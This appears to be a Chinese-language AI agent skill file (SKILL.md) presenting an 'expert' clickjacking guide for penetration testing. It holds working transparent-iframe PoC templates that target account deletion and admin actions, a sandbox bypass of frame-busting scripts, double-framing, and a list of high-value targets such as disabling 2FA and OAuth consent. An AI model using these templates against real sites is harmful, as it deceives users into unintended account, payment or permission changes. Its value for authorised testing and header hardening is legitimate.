clickjacking

clickjacking

热门

点击劫持(Clickjacking)实战指南。适用于测试目标页面是否可被框架嵌套(framed)、X-Frame-Options 或 CSP frame-ancestors 是否正确配置,以及 UI 覆盖劫持攻击(UI redress)能否引发敏感操作。

1528Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
clickjacking
描述

点击劫持(Clickjacking)实战指南。适用于测试目标页面是否可被框架嵌套(framed)、X-Frame-Options 或 CSP frame-ancestors 是否正确配置,以及 UI 覆盖劫持攻击(UI redress)能否引发敏感操作。

SKILL: 点击劫持(Clickjacking)— 专家级攻击实战指南

AI 加载指令:点击劫持(Clickjacking / UI 重绘覆盖)技术。涵盖 iframe 透明度伪装技巧、X-Frame-Options 绕过、CSP frame-ancestors 指令、多步骤点击劫持、拖拽攻击(Drag-and-Drop),以及与其他漏洞组合利用。通常被归类为“低危”漏洞,但在针对管理员敏感操作时危害巨大。

1. 核心概念

点击劫持(Clickjacking)是指将目标页面加载到透明的 iframe 中,并将其覆盖在攻击者自己控制的页面上方。受害者眼中看到的是攻击者设计的诱饵 UI,但实际点击的却是透明的目标页面,从而在不知情的情况下触发非预期的敏感操作。

<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>

2. 漏洞检测 — 页面是否可被嵌套?

检查 X-Frame-Options 响应头

X-Frame-Options: DENY           → 禁止任何页面嵌套(安全)
X-Frame-Options: SAMEORIGIN     → 仅允许同源页面嵌套(跨域场景安全)
X-Frame-Options: ALLOW-FROM uri → 已废弃,浏览器兼容性差
(响应头缺失)                     → 可被嵌套!(存在漏洞风险)

检查 CSP frame-ancestors 指令

Content-Security-Policy: frame-ancestors 'none'        → 禁止任何嵌套
Content-Security-Policy: frame-ancestors 'self'         → 仅允许同源嵌套
Content-Security-Policy: frame-ancestors https://a.com  → 仅允许指定域名嵌套
(指令缺失)                                               → 可被嵌套

在现代浏览器中,CSP frame-ancestors 的优先级高于 X-Frame-Options

快速 PoC 验证

<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>

如果页面能在 iframe 中正常加载 → 说明页面可被嵌套 → 可能存在点击劫持漏洞。

JavaScript 防嵌套检测(分析目标页面源码)

// 目标页面中常见的反框架(Frame-busting)代码:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}

如果目标仅使用了上述代码而未配置 CSP frame-ancestors,通常可以被绕过。


3. PoC 验证模板

基础单次点击 PoC

<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
  iframe { position: absolute; top: 300px; left: 60px;
           width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>

多步骤点击劫持

适用于需要多次点击才能完成的操作(例如点击后再弹出“确定执行吗?”的二次确认):

<div id="step1">
  <button onclick="document.getElementById('step1').style.display='none';
                    document.getElementById('step2').style.display='block';">
    Step 1: Click here
  </button>
</div>
<div id="step2" style="display:none">
  <button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>

每一步重新调整 iframe 的位置,使透明目标按钮与诱饵按钮精确对齐。

拖拽式点击劫持(Drag-and-Drop)

利用 HTML5 拖拽事件在两个 iframe 之间提取数据 —— 受害者在透明 iframe 上进行拖拽操作,从而在不知不觉中将 Token 或数据传输给攻击者。


4. 绕过技巧

绕过 JS 反框架脚本(Frame-Busting)

某些页面使用 JavaScript 防止被嵌套:

if (top !== self) { top.location = self.location; }

使用 sandbox 属性绕过

<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox 不设置 allow-top-navigation 即可阻止页面跳出/重定向 -->

绕过 X-Frame-Options ALLOW-FROM

Chrome 和 Safari 等现代浏览器均不支持 ALLOW-FROM。如果服务器仅依赖 ALLOW-FROM 进行防护,现代浏览器会直接忽略该设置 → 导致页面仍可被嵌套。

双重嵌套(Double-Framing)

如果目标设置了 X-Frame-Options: SAMEORIGIN,但同源下存在另一个没有设置 XFO 且允许嵌套的页面,可以利用该页面作为中介去嵌套最终的目标页面。


5. 高价值攻击目标

账号注销页面
邮箱/密码修改表单
后台管理操作(添加用户、变更角色权限)
支付确认页面
OAuth 授权确认(“允许授权”按钮)
关闭双重身份验证(2FA)
生成 API 密钥
配置 Webhook 接收地址

6. 测试检查清单

□ 检查敏感页面的 X-Frame-Options 响应头
□ 检查 CSP frame-ancestors 指令配置
□ 编写 iframe PoC 并验证页面能否正常加载
□ 测试反框架(Frame-busting)脚本 —— 尝试使用 sandbox 属性绕过
□ 梳理高价值的单次点击操作
□ 针对多步骤操作,构建多阶段点击 PoC
□ 分别在已登录和未登录状态下测试页面
□ 在不同浏览器中验证 ALLOW-FROM 的有效性